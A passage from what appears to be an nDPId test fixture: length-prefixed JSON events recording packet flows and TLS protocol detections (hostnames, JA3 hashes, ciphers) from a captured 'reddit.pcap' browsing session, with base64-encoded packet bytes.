+5uQtWAC3tqFOK4i\/x8IJ5wA7yI+h94SZDHStjb6DgaQrkn7h53crGb4sGJaoom+YIY0ug\/aBdsWwY8p0my7nv8R+dR6skhVcV11YPCUPPo6QEh3oEQ2dveyqve73M3kfAkSz4zaQEYfHkTIBstR1Wnr3UCzj+lfq+Eg=="} +00861{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9406,"source":"reddit.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291690999,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46814,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02093{"flow_id":53,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9407,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999061,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23lfa7qAzuyZagBgLMPtyAAABAQgKwtdL5xrDFryJs1hLl+FjCZHVOzC+ast\/GWIHK6\/JDRSzZHUqmD9Mee5UkgVvlA\/6c6zaNcs8ONWGopVAn6GEbZw6zqzTVAxJmgyq9WX7opPCGX4ps38BiduDpZ5GYFuI2+QvQf43Xt5A1DemUOY4\/mqfJFdi5BIFeMebJr9slZfgo4Ef7xQb1si24PKhB1A+x8FGdZrTmoABFutFDFmJQuIuUBguS2Cakvamsq7BOSO\/ILLUm67Gz4Zte6zd7XQd3OlPpSzB7vHszSQdvoSiVjTTS1PAzXZ\/pM1tanRABoYhfFSx9E\/J+1Qg\/mKOgX9BZ3SZHAfiq58A15TSZwKPvxIjv95ZbJdNe4h2+jc4sLwBvpE4k0LsIcTimCn\/5P\/sY2He6hLz\/CCAcMCBv0pT3fmS7\/50Ix4vCVCraOpasvGiswo8yxRiyxpfbOg1237USvartB1bk3l6EP7Mj9TSbAERREqbxOsQ4KNVsrGs8ffnegAYfPjrjFaHJ\/fmRnTb7D1cfJDJOiujCxUUCfMmWjAs5o9CitaJRT+AkBPoALQJ0HVxA30MfkYJXcoZ+GiO3sZcZ52yPAEu+TjCVykQwlmGJU7kNkrxizZf05ti3cV7y4mJpe+aJyGDcSNbrHo+nicGoP9lCb827tVZIfpazXkKFqn8hxG51NfzbrElX8PbIcsVKcncpUH3IpCnEp\/XqDzxQk80mKIuOzbZqNJEZz8rrJJKFhk+Dj1eaOKOoKYdeVdMBD0rHjzgqVwbLVPEOlXLYPsvBqPrSZUmU9ZiYJ6v6F2toAYHcr4+ETGRiBLQJCMXh2zRbnYgLHqPG+uoq\/tx5zMfQ0Un7a89KkTslUfYbuwqoSQ5EYJbu7K4kCrOSFRuq0765VJtmTSVhFms9rJEkPLQjnLA7hvKmTpHILi6QzNMu12e3kzvzYND+blp9Y5GJoKooYSseGSwOhF7pdqRhO5NZY4o18eTRzylqepBLBiZuuhfyODpwngf1udqy3JzDS+HEgypwwbzU1RbkRWd5\/QFWFjPqGXSkRDO9KDTtKOXbju3EM0SF4NFPcEc03MbJf4TFcH13NPVb6iZYcBIUgxrmyRqhZeV5XWclX2qaiEoBdY\/CJ8wqTeslzLXVuooJ5D0d2\/NWozEqaKe+hND\/K9Oc+09hB482lL3gpFB2B2qnge1ERm0CILomVcehIiFtTX9K9pwBIUaXUL8WHFxPAoTx+MzjHcVWU7iub+hX2K5GkqwTZZwzRnccjch5DMlT+Dn7Be2LqobE58Dlmm2WHDcTDFK5mecN+OCyZ1IalR\/bapULzPvwc22mzPZ8qqDCE5OfUxM4B7NGbihDkUyR5XqumYfx+fAb4LJ4lwjoJMNUuImiouYNYju82V+GbYe4dsgx7LeLq74Y42nLqGTp6uD2+aBijLrW3DBc0ODW4blmss9mY0ofTtYGaSMce2jNTdD3izI0Qgff589hfImrFqW3x0kHrb0CLRPcX4k6ibEBMVirrheUQw4NwzM2EXN9c+1snRUdnh5JmW0GVpNqHAHA+SxwjQQ20c+Sc6QzCGKhNZjzzLr4nlY1kLHH1vQckB4RuVlhArfGmM3cwFwt1pfmkheyjB8rB0QPw=="} +00455{"flow_id":53,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9408,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999074,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gClWEACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABtt4BuzO7JlpX2u6ggBAB9e\/TAAABAQgKGsMW6MLXS+c="} +00454{"flow_id":53,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9409,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999093,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gClWEACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABtt4BuzO7JlpX2vNYgBAB8useAAABAQgKGsMW6MLXS+c="} +02092{"flow_id":53,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9410,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999345,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23lfa81gzuyZagBgLMGilAAABAQgKwtdL5xrDFrwGAWV0lypttHZ\/v7ihgAUN7micvYfhEvddtR37Ccuec0a4UCCk1Ms3o0zrvz\/Zg2SInHN8ZgrxB+bWWkABRrow5kamDusgKrQ4Nv3F1kfbj4bqxqvv7eemJBfWPQby8aus4GWA19Z9xAdZDgeNFXHpWg6x1mTinVTjfhL5yPcvQnIpCEYs95vGNxwxhd\/Rzp846XVRZmQF0xOm9IO75YjZxYcEowt\/BgAG\/ooso+aaKDXL8y9bN6PZbtDjcNvMH+5R1zrP39pEACAqYMKp8tYask7FCWen\/GnomRlbsaI+WtR2IK5mn4JaxCpMSxrKYYpTJir0V6xgyhlOqVjF0+CgDZlOn7frd6SQvaqZvr4XlHCSdL9o\/OXZa2YN17PR4rhDj8zPn5hg0QEAiUWPWf6li3i+QAdNITvZ47kG8WsWtOSPueNvFqTWVUrLsdBg5aFXAzLWFwDvZSZizYNnYG8+NJl9I6zEiyFnABMddxw1TwJjgG9sSuEClBNpCf\/MeKaxeG+7jSye+pC1VMAW8yIYln+wOhqXFP40gyTXYf\/0JC8iUfrMpCYQ02qHhIu4zNsrTS7d+vdNogDxZj+wtal9xayp3P5D5FpjDngrD6TlMXBeOoj0R2Mp+3LbMVuT+boFhUyFc7usfI9S5GLaT+SuAfSFq+1nUksonGasVsr0gupY+0bVmJ2+dtoMvq7KXOp4iS7d2fpJKKTT\/NR8RGFVXLPuNQN9W8mg93vM20CgWiTNkh6Bdv8Jn8TPmj2CmZXiv1HQQQAcePYU0tjKjEc94hFjSM0YQ81EK9WfBqwof5emnq7HsQPkCXlrR7wE\/GEzZ\/IkIA29N8UAhpumFCt+SNA+Wzh2JnjObi7jhjeYynPPOZzAjECUNb54BGMf+kKpRlCZJdaIvB7xDW0bDoVomEcHuemHbfdRDAMPwcFhYxTaWgjxnuIm+QpaIPKzQyHTcr7y\/Vr834TujPLZoYCOzulPHMcbqZxlhPD83Aw2pY0pG7vmzOwEaJT5Jne8AG33tF52bSb+G1l1I8BlMOSeXr6Jjjoeu\/Lrb8S5agHtA5JHBfaH1bv7PU1hqa60SnILWGd1ijZrKmbItLl25tj9jBg0zCix9x8Ptrtmyh9mhnblL7OidCYddOtBD8bWsFR8FtCzmqYYt+aFoWhpOe5VP6zz+rYRpbIZlT8jRMZeOKY\/NNmJwNPXwHs9yltw5rWqsO5ALmyRsFsuKDtYwc44HvECTO0ttqMAoMxfuoc8TXAzw7cOzChIprBCluf0bL9CxMb8XYZO1NZqarr2xUzRBlaIGyNACDw3tV7HgXhPDqQksQ4NYffSZS9F7CzK22RigDwo+xIJz8o4DQ1m8x1aZ8WYlxHzTsjeADyRFsYGHOkenKD37WOTbU9ZPMuBjN6YyCDj6GwN5IiNFSy+ZjuqTZE5m\/OQmZh6kvSVavXqvVtj38E3NB6C0pAvXSY6b2OI\/19rhim7Oqj8ERmSzKgax23EtEVqJrWfQJ7lGbMr0tX6tNz8BJAZsCaHpM2O417IIZWOpicTsAp6K0hFnyR5SuztgRTMoGQHS10V6ZG\/NMdaM7j5tIUapSpxnhgrh3B4G2iz0DznPQ=="} +02100{"flow_id":53,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9411,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999346,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23lfa+BAzuyZagBgLMHS+AAABAQgKwtdL5xrDFrwi9XvDLkqJGZ7Hn9c8nBxdTNgMwj3k+d1mwN0CKXJdiMBLjZDjtp4r8ElU\/pFS+uj7\/GrKqAI+h80jGNsCHui61xTkhzsJ7M+M45zqZ5OjbK78nBYrfRQHGRnj0H2cztUG5VKImjCF7+JEVJWBahxUd7f2DUO8NhyXnqw45mKLBJ52vBdxPwrzKDmwfEkfXEsoyfdQgC1D6rCfReA4vvN+ibLf2P9c+QsyggtA\/NMk0VFdapn3eDs33EyZseBbX7EkpxQkYdvoO3mFawgoedCVjQ2JxJSnDNQ2b2SlPK+\/fPit\/ojRlvuiqoJqdmLRbD5EZhVnlR6\/y+fMCy4AzBZkNDr4CQJOPgf8Amqhg9s0uhL4R4b5znR8n52axCdNZlymZaPm7111idWGGLzGA8A4CMYx4opHHI0Z0enQAX7kk8U5vUcIfiy7VrQ06zXgb9P\/z7CD+OZXo6EfufvE9Ie4er0RCdPmk1ejZZMkozu\/znGfXy9r8MdgCd9YPfWxaz3p1i98pj31nLt0HZnT0ECJ7ozYquFs\/qHkMhsyB7Kw85uXcUGyVLaqDNfTn91eiwgW79z\/TSHucnjem6eB6ITfRhW8wb28dif9zB1jS4Xgg1NCWPt3OtmNPTQrlF7WuAodrlNOROJQINt3QdIknA\/QxTZnpqWDTre4l2kQqB1H\/qDulgDx449MHVmxnpAbrU6\/MQ9MJPcZjPfbgI4vNCp\/wyprqN0qOnlJk2S\/aU5K6BB8feoeiJswm0Y1uEfV6mXy0PJfY9VWJkUrhacReijcmRA2eBGmKeN\/vaPnJkxn5arlwWnLpqFOa5RldDkXnh5jxYGO07PGZmot6IXn1GdxLmD5FxSOszNp9IrEygb878NY3KYLrEYt8gEYtnwQM1VS9tR4siGpeTuSrEBA74UEdQeYkwyoAfT321dZSx+ZPVsmUmmE7YwVQkxkth6waQje6wk6KktPdUUckUPKikOpqfuqGxLaM1JW1QpJ9p\/b3yEFW2tGqX75JnVveCiO9EZypLwbAy+GmwPqa9BWvlWMQiGhovQ6N9Zv+RHv46nPbG454cO\/Rd6t9biiF4gy2fC2OEV6EA02pc5IPzBuYeR58uXBicWgBgqymzzTyjFhTVYdkNm\/BMfXApiN72P13JwXiL3PVdH4C1uFiJOvMtPDtHugYK5ke8CDhoQrAjc0R0xrvehsS3rzdfzIYEDiLmU5ZLTiYsXCexiKKf+2SaCw3342pmEO0QZzhOLbrmRuW9AWxKyVhtJCfcpnp\/HTwrLqBylpCNvqhB8rvy1KKIaHSHbsvj8WPZJHVPKw1dLJHaPtgSsUm719p8ylVZS4ul3x6f5kr3rJYg\/RZyXsertOsYIY7tlCAy9\/lBxtIk6iEO4PIbyIpmpxeimo0Fy+x4JA44H0Z9jhhW5yrk+pZiV6gRPppSOHSmgTQ856210fkKJHY52rK9uOKYy77vo3Lu1WEDMFmTaUcnWvz9YZkp2rjb4tbjvDzqlnR1IdHZcpUWmcf+KPE5sYf0X5GjvUztw34\/e\/pCQN7\/QJcEMl70DmiCUqJ\/YtEFTnVIKWFaY8gQ3pbAp+k2iN7h3RI1kSHAk6enwH1bgXWQ=="} +00455{"flow_id":53,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9412,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999362,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gClWEACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABtt4BuzO7JlpX2vgQgBAB6+ZtAAABAQgKGsMW6MLXS+c="} +00455{"flow_id":53,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9413,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999380,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gClWEACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABtt4BuzO7JlpX2vzIgBAB5OG8AAABAQgKGsMW6MLXS+c="} +02098{"flow_id":53,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9414,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999501,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23lfa\/MgzuyZagBgLMLyXAAABAQgKwtdL5xrDFrwEUr9duJ\/J58A1ZnIkdxVFZZNqMzKdg9od0bihDsN4CN7J5O+YcpMcg0a\/lGvlYuCmBfiUiN\/+F1yAm4DboKvtqIihX68qxU1Nxn6VfM37tVa5QfyDVDKTSIEPXDeQLNSGM\/HYwxBATZS8tkiLFhndaHhKQZAWTYP8GdY2li3Qpm+NOC38DE7vEGKznA9SRzoSZlV6TVUEnX6fiwTBTFEVI9a3lMKnvJLb2ddzEjXDwCK\/IHT3TRk3fhsRjsEvwvBZIWzyf0+hVwtmATT2MoocaCs1lEHmXe9XRguSrW3mmf6L5U2U+mXtoC9msW4U2ykcU7nYAB1b7lSs7EhPmBd2ku7inSk5rBco\/ooGkI0HbLeU5n1hcKgkMVz\/9zW\/IjaiGXgPDisHQTb099ron\/266gd0NR5RcvgB9Wbuq3wH4VcvxFfXbGppxN\/u\/TULryNfy6q6gPesyCNXqNX1cYIWJ+hNzpoGKovvuAIF0u8McOoaPJ2onSpIsz01yg\/lZz7tH\/A2uptd6Zeje2BCwpkhg+OH5Jx06Bmke3LlS7ckYO4qO3T5Q2h2pArjerh9FqbfrAtJaIsPObWC7EgkREdAfLZ+FrpqXCBrtoYhMn1IFeIjcdDJrzSyWcX05kP1lqsaeOpa8A3NOqAcxMxUWktVNH+AYJRLpGow8G2Hb3xLPwvPiSNhy2F79XSMKG3eIsSt8W+fSdJUTZ0pUi45QFpEqmGK5M4byFyII96hEpAEfPtxSWJFcxW9RGGZ3BLQg0EqHd\/jlOAhYt\/pC1kyJZl3rZxfnNAFWZFJ03SMhrGuioXVRH8eICkCZ6zwKemltoudbsUVuatJpQVsTuF2FeABKnqLDWJoLCfGVm\/kKZ096BXmNbXhKPxOW5Jrz1aw9ynvHBW7w1\/3kamctzDGNgz688b+fy48sY2dqg9Hx2bAs5FqnafTdwKUPHtw7K2OwzaH6TKbBSxVM4B2lqKl73aWZoG+Sa3yZHJ\/x\/RL5+XN8oiE9hiC+fmlfQ0UbRsFtvPRNy40csBvDuS1xivXJmoleu\/U6YadOcgQd4l+bp1FPIE7VEQ+T8aK8sEybM338qYgfdHmSjOEUM6UlXw2S05PEwt6WArRUsgY0CWzlznQff3EzAF24LcLTOH6Czv8mUcol1dyv83xo9zVZSIOPsHRbxZOODtjTFgc7fU1TaYUqxobEwdzfjoUWpj9NDuAnTKseG0Q6y2t3X9zX0pjPKczEJZ+Z4Vfl8AK4nj0TxvhUWZv4uscilVuKVCxjat1WqDWU5Ln7Lh0ExRez2rD8l\/UE9LHXAPA2ActKnfUk2KkwUYAkxLap1zq\/39YRdPz8ootLBYAtu8g0NwFYHLGBrfY\/2pRuh619cD2k+rKbfES6PC5GEC1+lL2JKOrXcyxDq6sJ72oA441OnImGWRsO1dg9kRh83u3vc7AOUzBpuco6a8KEjhyK3JSi82ZGS3rGEbB2GwIOCZHLZCl6XY15FMdjvRo6pm9W+3he7rB8trSi0IfYKXT1m1R8yoYo4sae5twNvckF+yXEQmOMI6V5ajeIsACl2oURLLGwRu9xvChi0KQGZXFGn3UtuF4ScYBjYIepqkpm4MTtQ=="} +02105{"flow_id":53,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9415,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999502,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23lfbAYAzuyZagBgLMAQ5AAABAQgKwtdL5xrDFrw3PNrXBy0HVMsCoS60RhMuQ4RkZQrz+xq\/5DwNR7GIYVoOK\/HaY5gajrj5DaA8s25sJVy9NnTj4bvb1Ls52Uh0eDAN1K9lqs86WjhDgOXPP7pYpLUnwouNqDOoCzOfwB\/0CEs7Jj8rCQGD55cJ4pnQe5xOz+IN2agTeWKfBR\/irupeadB1sv7xZOf0\/of92Iq9Cbo+rbOdebe1XWXEthb0AHZ7V8NyUUXhEJOFExI7SoW41JCw8DaqfBavPn0XT3frXWSGZfF\/JxK45wHGmXPZrgbGzR3mTH2jwnhivkdkAiFaqyd6rAiJq6XlQc\/3+a1vhJM2V6MfIAqWgCaud8lOn6pSWsb4qwwei\/cUt7cnDg3QU+MyLXuSUiX9M0\/4AY17k626cNEMnI\/Nd7gMs1VxxwORtzMy\/J\/h7xHkQYR9S9KQdSZbaiMqcdAhsFOCHRdk8gOvelrfsqbLFPBBMXnkO5JDM5sKpGfJJ++8LECWJ14ERxqawzFx0y0lNrO1n3rlM4o2HnXxWyA0keGhFyjkMJwPyg\/GBT6as5OWQo3D+xgyfGkxYD6gLZ\/c6g2CU0+NgbaIgR68xlvcF+lUkoA9Xq8nII2UiJtsyU7VxIPVWIiYC6RcDiHloXp4uyiALTwj8Nwm3EfugO5DVJtCkMdz5YPC1ZUFuynUT8iyT4QEmWDcTCJN+jhdzzrZe1DEAXvPFsOEKrxt4dbwNyWBmU\/cjlpG\/KdtIMWYycGUvQCV9oduRx6odqTXNxgs6OwGwAAusJ9JwmG0g+0V28LMLvfs1GLhJUIHS23vTAhR\/DH6o\/K8+dVLQEd7sCVRWrxlQdFmD6PU80L\/ysv0w30Q3y2IR0b1TYNUoeq4fUz4azad4obf5PkDjAnzsjkWFfPHnLeRKHTJU7LZYi5LAc3kV8nw+tuG\/KrOt6Hy7kTDS1Kvb9DPH1WRJeCSripZtaYXXCvn5jcYlgRup5TU2vi\/5SzGYL\/n\/KH0GD7jjUGA77Ogfpuym\/LFrjtA+BPSiCmybtEIdd9OYsoGshuerO1XbjUR4blqQLcu2hWKBAZGibA4loV1on5baCMNfctUvvm0GHUtF\/NDoDLUo9G3YIA9gv+WVcgCNMBHxLlDlP9KoV9H4z2LI\/iiGeRcPUEWP7iYbPt2Be3zocN0Vlz1vmYZ5X57HfBo0lSE+zZEt4urV47n23hGjpO4XOG4DrwIW6mBXRzNlrjn3XmwemfkZ2RQkwty33fYAF2fEgJjgUV4DvQh\/Az53oTGYCEhlD802Q0ybWisWi5fL8P\/noJZK5DMXdn2GWk2SWGqbklNkOEYdgg7Bmq6TS4PkJWWKuH8G98WinqQm\/JvEFnXgGUrk8adIruMP8YAhXmtge9zOl6cAI0bgSEVw9GB7SjojjdkMfs1qMGCTmbHZ3TLNSZRplTjv\/8Qz289WOyLQ0CTyltKUdAktvW9TovHGBMM609ouMwTYDcW+pPRCYcKc+Ibsv13NaZpIcYClt9J+cJbbyJl2xkhIZK7NshgqAAS+43UbejoJOS1ZJabDHG8gkqo2F31cYfYviDH4PYcOv7gKEpVdU4rhPJ\/dn3z48aKwe79bpP8QrBfZ5hy2YOKHw=="} +02101{"flow_id":54,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9417,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999503,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgRAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbuVFgHH2lpkCswMgBgLMAZRAAABAQgKwtdL6KpUDMoWAwMAegIAAHYDA5668DIbA5Y\/AUZot8WsOnuQRi\/qiEcT7RJ8eTC1Q3hhINQ4uQD4cMulecpeDh4RGq5zfSr3G28+STtUMIilUyfGEwEAAC4AMwAkAB0AIL2rmpEEDxzBt8jFRwCMdA3dZV5GyhZbqZ5h4qBAXUkNACsAAgMEFAMDAAEBFwMDCtpjQeywr1IV3ve29xbCJJNmPfK+wBA\/33qiyg5mv1O+JmMFRKiBuMPCTTjj4ETXZQr586bxN6XKODlfu1IVsBBoT7ei+AhfrGrjN7BA+Gu7ueMWgmhigeh2eRI6fOOEvK4b\/WL8ShoaQK1aGmUX2sEZI7ikpjamAwJ6jp4tocdAx3kRfhKcxPNuuohrFpVjvMgf9ikIx8PJ\/X+5fWfn\/CXQ42YcMLYR6xz7wY4lOxkCcMf47CekZbfv1r63J2PevAoGdej\/NLtDdSKq008ijQGGeka\/zZmrvlrVQnFyZmOm+IAHnOGp6qTy0LPO4e3A9owvdfsSWw8P34mJ23eHz9gslJ4PEUI12X6QQrZnTSABzNth5XtJeNTzZO0jk0cliMh7TTXXeY+ekRbEyXk4e+UcJk53\/eWxnatGrvAJ3UZzwWQVDs9xfgTxzjJe8KMjrugrlJXBALKO0ZtyKmOAVGdJwufR\/jmomeO6ZXawsuSviO0hoIfqpOx+bR+RIlrnihvP7T5O8ss0ToGA\/5dj2TpoJidLKgB7vdcOOSxZ9ZOyATCQgstyuFJU8+QPPOlvWC0NUUztDoEi8\/Ck5EEWeJuHWvjKz9y\/m4TYt5icaiMPrnhpSt1LFkbBwhxNgDQ\/FiwJTttT+ginbCjaK4vQyU5O4nH5tG\/n\/hj+LitpvXsYDj5lBC3K1UbT4YvxZ6LXkszSgFun4X5oCTIb4Wuib2z+507fDZdfMWFA0LklqMYZdmexBFP\/sQQdf1NrJdYOcx95hN6bLLHxWAYdvg4vYDHntySlwxRjxjzNukIr8FLdDznfQ+jFP3jpKW2cAP0SV1y08rmTeqY6GsqQkyxmcg7+X+fSN5rKvoxYhShy9P\/IlqSl07\/2Kb7K2BHzd+iumP+J6MwJ015uIMCVzPwdF6S2gXS0+mfOYTBOGe+RSA38djzMGpMx\/AeRfu9HZobri4kfohcPk5oUn75w5ejA+d7UtFuzk\/aDNyJN+WVA7ay54dVMhCiBwTLSypCAKrc7qfzv5OY1\/GNZFBpLra5Di0epmQgtz+dl\/DW1z4UzJzitxc\/hI+1gGCujUF0Yz7x2UPD7pWyBNXViSBM18MfarYFOrd16e+R5M8\/TX4rLGE0bANBQDDKGArr6x281MErvjhzSyCQ78knE97QSCqx\/DBorEADiqC2BEppTNkVT6K8E2BT13h8Ny8EK54sV4jKQjlpSVdH7C46UsYAv40IIoxyLk5cJu9lPXojIq+J3B161u6waJKdrbVgkI6RFnkrCmrG7kJQ4EPBaalqRTWXa3NNaUcJsTMBKpKCnvu3bnHpNdBTRytR4yko36+6gdZbs4dUksYcXCfm6D\/wRbHD7KtHr\/JInwbiFXlCMZFKGHdc0YTWDoqvIfeRsnmgXsuA25R7ceV6vfwJUPdff9Rqfpw=="} +00884{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9417,"source":"reddit.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291690999,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:811::200a","src_port":38166,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"fonts.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":54,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9421,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999552,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBhSQACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIEQAAAAAAACAKlRYBu2QKzAwBx98SgBAB9RuJAAABAQgKqlQM9sLXS+g="} +02099{"flow_id":54,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9422,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999578,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgRAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbuVFgHH3xJkCswMgBgLMJ1pAAABAQgKwtdL6KpUDMpAFeHdssfdxb9MImKe6uM\/Z+81ffR4UINiyhAWzkqEms3ugRpI3WNYxD5oYKG942wqE8ZJGV9wEzMg0U64IbWDFKQ0e8y2HEzZCQCoTxGu4e73m0Rr82hKHso8GUbSc3CtYxuvwju1GftthiyLgg8E\/TDqPIqTYBJN1vuEvaXc2Czw0qomxPi0uV8f5h1w\/ZGSXNg9\/4raYZIrh0iVdyJExYS76rzKgs8pbQz\/cLa5qJszkgx+VyVN2f04pNxG8CqJME5\/Af1cGgJi8SzQOKbh+MbgRm9rhWEsJeq4rKL9Z0BDGEXdQ7gyDXBym1wRBBEJvZ8MXyD6Up2Obsa5awKiYqv8wnIWBH3rgx22kFj5FFeS3n4\/1JsDxKRMQUwxa9bXQ7cONCf5LnlKRCBvzsB9AuQ8HgIXLCucWcDrmct+vlrW0uCHgvlkSSpA6raRQ0WQVPhDeZfPulpWaRBfAyI\/VI6zcWuLNcBLsfT8PPuMiWJ7rriYGcU0o88+CWlheas9oIvTP+j6uQWRfhJymFFKyPk7H0Mu6zFJvRoVyiAkYPRPQRvV3Ik5MJpI25UNNXAPbgV8lKeb1D5mBv3IEMEsVYh\/xYs3NzHcMflyD1LH88V8kcYRQrBNjE7vvP8KBxzBaIUwL3WPCp9tvrDlifh7AhzKGRKxBUNrCTlxLsMrtjzeZV06DX5JapdB0Z\/RQVF2hCXi08JtHrP7V1iR1KQfIf4zfU27TuYiBTx2g8d3bB77qQ9KAN0YKAtGeOVDnlormxj